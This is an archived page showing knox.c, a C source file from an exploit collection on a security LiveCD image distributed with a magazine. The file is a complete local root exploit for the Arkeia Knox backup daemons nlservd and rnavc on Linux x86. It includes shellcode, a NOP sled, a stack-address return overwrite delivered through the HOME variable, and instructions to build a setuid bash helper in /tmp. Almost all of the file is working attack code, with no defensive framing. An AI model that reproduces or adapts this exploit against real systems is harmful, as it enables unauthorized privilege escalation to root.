home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
system
/
linux
/
local
/
knox.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
2KB
|
85 lines
/*
* nlservd/rnavc local root exploit for Linux x86 tested on SuSE 6.2
* exploits Arkiea's Knox backup package.
* gcc -o knox knox.c
* ./knox <offset> <buflen>
*
*
* NOTE: you *MUST* have void main(){setuid(geteuid());
system("/bin/bash");}
* compiled in /tmp/ui for this to work.
*
* To exploit rnavc, simply change the execl call to
("/usr/bin/knox/rnavc",
* "rnavc", NULL)
* -Brock Tellier btellier@webley.com
*/
#include <stdlib.h>
#include <stdio.h>
char exec[]= /* Generic Linux x86 running our /tmp program */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/ui";
#define LEN 2000
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
void main(int argc, char *argv[]) {
int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);
}
else {
offset=2800;
buflen=1200;
}
addr=get_sp();
fprintf(stderr, "Arkiea Knox backup package exploit\n");
fprintf(stderr, "For nlservd and rnavc\n");
fprintf(stderr, "Brock Tellier btellier@webley.com\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+3;i<buflen-4;i+=4)
*(int *)&buf[i]=addr+offset;
setenv("HOME", buf, 1);
execl("/usr/knox/bin/nlservd", "nlservd", NULL);
}